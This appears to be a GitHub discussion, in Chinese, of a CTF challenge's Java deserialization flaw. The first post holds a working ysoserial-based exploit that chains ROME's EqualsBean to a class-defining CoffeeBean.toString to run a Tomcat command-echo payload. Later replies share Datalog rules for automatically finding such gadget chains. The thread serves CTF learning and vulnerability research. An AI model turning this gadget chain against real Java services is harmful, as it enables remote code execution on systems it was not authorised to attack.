-
Notifications
You must be signed in to change notification settings - Fork 19
-
下载链接
https://pan.baidu.com/s/11ycESHVag1qqrJ_sKcguFw 密码 GAME
备用 https://share.weiyun.com/kkQkgmVZ
题解
反序列化入口 com.example.b4bycoffee.controller.coffeeController#order
黑名单
com.example.b4bycoffee.model.CoffeeBean#toString 可以定义字节码并创建实例
并且有ROME lib
由此可用com.rometools.rome.feed.impl.EqualsBean#hashCode 触发toString
public int hashCode() { return this.beanHashCode(); } public int beanHashCode() { return this.obj.toString().hashCode(); }
可以用hashmap触发hashCode函数,由此可知题解
package ysoserial.payloads; import com.example.b4bycoffee.model.CoffeeBean; import com.rometools.rome.feed.impl.EqualsBean; import javassist.ClassPool; import javassist.CtClass; import ysoserial.Serializer; import ysoserial.payloads.templates.TomcatCmdEcho; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.Reflections; import java.util.Base64; import java.util.HashMap; public class Ctf { public static void main(String[] args) throws Exception { CoffeeBean coffeeBean = new CoffeeBean(); ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.getCtClass(TomcatCmdEcho.class.getName()); ctClass.setName("TomcatCmdEcho" + System.nanoTime()); Reflections.setFieldValue(coffeeBean, "ClassByte", ctClass.toBytecode()); EqualsBean equalsBean1 = new EqualsBean(CoffeeBean.class, coffeeBean); EqualsBean equalsBean2 = new EqualsBean(CoffeeBean.class, coffeeBean); HashMap hashMap = Gadgets.makeMap(equalsBean1, equalsBean2); byte[] serialize = Serializer.serialize(hashMap); String s = Base64.getEncoder().encodeToString(serialize); System.out.println(s); // InputStream inputStream = new ByteArrayInputStream(Base64.getDecoder().decode(s)); // AntObjectInputStream antInputStream = new AntObjectInputStream(inputStream); // antInputStream.readObject(); } }
使用bytecodedl分析
TODO 请师傅补充从readObject->toString的dl规则
Beta Was this translation helpful? Give feedback.
All reactions
-
👍 2
Replies: 3 comments 3 replies
-
这个的本质就是如何自动化找反序列化利用脸,可以先从一些已知的第二级触发函数开始,比如toString,hashCode,compareTo等开始,作为入口函数,然后污点源是field,sink点是defineclass
Beta Was this translation helpful? Give feedback.
All reactions
-
#define MAXSTEP 5
#define CHAO 1
#include "../logic/ptaint.dl"
#include "../logic/cha.dl"
.init ptaint = PTaint
// 定义CHA 入口函数
EntryPoint(simplename, descriptor, class) :-
simplename = "toString",
descriptor = "()Ljava/lang/String;",
SubClass(class, "java.io.Serializable"),
class = "com.example.b4bycoffee.model.CoffeeBean".
// 定义CHA 危险函数
SinkDesc("defineClass", "java.lang.ClassLoader").
// 能够到达sink的入口函数作为 污点分析的起点,这样cha和taint就结合起来了
ptaint.Reachable(method) :-
SinkReachable(method, _, _),
EntryMethod(method).
.output SinkReachable
// 定义污点分析的危险函数
ptaint.SinkMethod(method, 1) :-
MethodInfo(method, "defineClass", _, class, _, _, _),
SubEqClass(class, "java.lang.ClassLoader").
// 对反序列化的对象进行mock
NormalHeap(heap, class),
ptaint.TaintHeap(insn, heap),
ptaint.VarPointsTo(heap, this) :-
EntryPoint(simplename, descriptor, class),
Dispatch(simplename, descriptor, class, method),
ThisVar(method, this),
insn = cat("Mock", class),
heap = cat("NewTainted::", insn).
// 如果对象是污点,反序列化的时候认为其field都可控,那么load field也是污点
NormalHeap(newHeap, class),
ptaint.TaintHeap(insn, newHeap),
ptaint.TransferTaint(heap, newHeap),
ptaint.VarPointsTo(newHeap, var) :-
ptaint.Reachable(inMethod),
LoadInstanceField(insn, _, var, base, field, inMethod),
FieldInfo(field, _, _, type),
SubEqClass(class, type),
ptaint.VarPointsTo(heap, base),
ptaint.TaintHeap(_, heap),
newHeap = cat("TransferTaint::Mock::Load", insn).
.decl TaintVar(var:Var)
TaintVar(var) :-
ptaint.VarPointsTo(heap, var),
ptaint.TaintHeap(_, heap).
.decl SinkTaintVar(var:Var, heap:Heap)
SinkTaintVar(var, heap) :-
ptaint.CallGraph(insn, caller, method),
ptaint.SinkMethod(method, n),
VirtualMethodInvocation(insn, _, _, _, caller),
ActualParam(n, insn, var),
ptaint.VarPointsTo(heap, var),
ptaint.TaintHeap(_, heap).
.output TaintVar
.output SinkTaintVar
.output ptaint.TaintHeap
.output ptaint.TransferTaint
.output ptaint.VarPointsTo
.output ptaint.SinkMethod
.output ptaint.CallGraph
如果不限制 class = "com.example.b4bycoffee.model.CoffeeBean" 会比较慢,等我有空再优化一下,或者等我公开我之前挖反序列化链的规则
Beta Was this translation helpful? Give feedback.
All reactions
-
对该规则进行补充
这个的本质就是如何自动化找反序列化利用链,可以先从一些已知的第二级触发函数开始,比如toString,hashCode,compareTo等开始,作为入口函数,然后污点源是field,sink点是defineclass
上文师傅以com.example.b4bycoffee.model.CoffeeBean#toString()为cha入口点,定义sink为defineclass,个人觉得应该以hashmap的readObject为cha入口点,定义com.example.b4bycoffee.model.CoffeeBean#toString()为sink危险函数
修改之后的规则如下
#define MAXSTEP 8
#define CHAO 1
#include "./logic/ptaint.dl"
#include "./logic/cha.dl"
.init ptaint = PTaint
// 定义CHA 入口函数
EntryPoint(simplename, descriptor, class) :-
simplename = "readObject",
descriptor = "(Ljava/io/ObjectInputStream;)V",
class = "java.util.HashMap".
// 定义CHA 危险函数
SinkDesc("toString", "com.example.b4bycoffee.model.CoffeeBean").
// 能够到达sink的入口函数作为 污点分析的起点,这样cha和taint就结合起来了
ptaint.Reachable(method) :-
SinkReachable(method, _, _),
EntryMethod(method).
.output SinkReachable
// 定义污点分析的危险函数
ptaint.SinkMethod(method, 1) :-
MethodInfo(method, "toString", _, class, _, _, _),
SubEqClass(class, "com.example.b4bycoffee.model.CoffeeBean").
// 对反序列化的对象进行mock
NormalHeap(heap, class),
ptaint.TaintHeap(insn, heap),
ptaint.VarPointsTo(heap, this) :-
EntryPoint(simplename, descriptor, class),
Dispatch(simplename, descriptor, class, method),
ThisVar(method, this),
insn = cat("Mock", class),
heap = cat("NewTainted::", insn).
// 如果对象是污点,反序列化的时候认为其field都可控,那么load field也是污点
NormalHeap(newHeap, class),
ptaint.TaintHeap(insn, newHeap),
ptaint.TransferTaint(heap, newHeap),
ptaint.VarPointsTo(newHeap, var) :-
ptaint.Reachable(inMethod),
LoadInstanceField(insn, _, var, base, field, inMethod),
FieldInfo(field, _, _, type),
SubEqClass(class, type),
ptaint.VarPointsTo(heap, base),
ptaint.TaintHeap(_, heap),
newHeap = cat("TransferTaint::Mock::Load", insn).
.decl TaintVar(var:Var)
TaintVar(var) :-
ptaint.VarPointsTo(heap, var),
ptaint.TaintHeap(_, heap).
.decl SinkTaintVar(var:Var, heap:Heap)
SinkTaintVar(var, heap) :-
ptaint.CallGraph(insn, caller, method),
ptaint.SinkMethod(method, n),
VirtualMethodInvocation(insn, _, _, _, caller),
ActualParam(n, insn, var),
ptaint.VarPointsTo(heap, var),
ptaint.TaintHeap(_, heap).
.output TaintVar
.output SinkTaintVar
.output ptaint.TaintHeap
.output ptaint.TransferTaint
.output ptaint.VarPointsTo
.output ptaint.SinkMethod
.output ptaint.CallGraph
SinkReachable.csv中
但是有一点疑问,SinkReachable仅仅是cha输出的调用关系,而无论是之前的规则还是补充后的规则
ptaint.CallGraph.csv
ptaint.SinkMethod.csv
ptaint.TaintHeap.csv
ptaint.TransferTaint.csv
ptaint.VarPointsTo.csv
SinkTaintVar.csv
TaintVar.csv
污点分析的结果中均没有到达EqualBean的method call之间的污点传播信息,为什么?
Beta Was this translation helpful? Give feedback.
All reactions
-
上文师傅以com.example.b4bycoffee.model.CoffeeBean#toString()为cha入口点,定义sink为defineclass,个人觉得应该以hashmap的readObject为cha入口点,定义com.example.b4bycoffee.model.CoffeeBean#toString()为sink危险函数
首先从readObject到hashCode,equals,toString在JDK里面就有相应的gadget,属于已知的东西,为了减少调用链的长度,直接将这些二级入口作为分析起点更合理,然后再手动chain起来就行。
Beta Was this translation helpful? Give feedback.
All reactions
-
// 定义污点分析的危险函数
ptaint.SinkMethod(method, 1) :-
MethodInfo(method, "toString", _, class, _, _, _),
SubEqClass(class, "com.example.b4bycoffee.model.CoffeeBean").
这种写法不对,toString不方便作为sink函数,以为其没有参数,目前针对receiver作为污点的还没支持。
Beta Was this translation helpful? Give feedback.
All reactions
-
污点分析的结果中均没有到达EqualBean的method call之间的污点传播信息,为什么?
这个是因为污点来源少了,上述的规则污点来源我只加了来自field,其实实际情况还可能来自readObject,readField等函数的返回值,而hashMap恰好是来自readObject。可以设置ObjectInputStream#readObject为source。
image
Beta Was this translation helpful? Give feedback.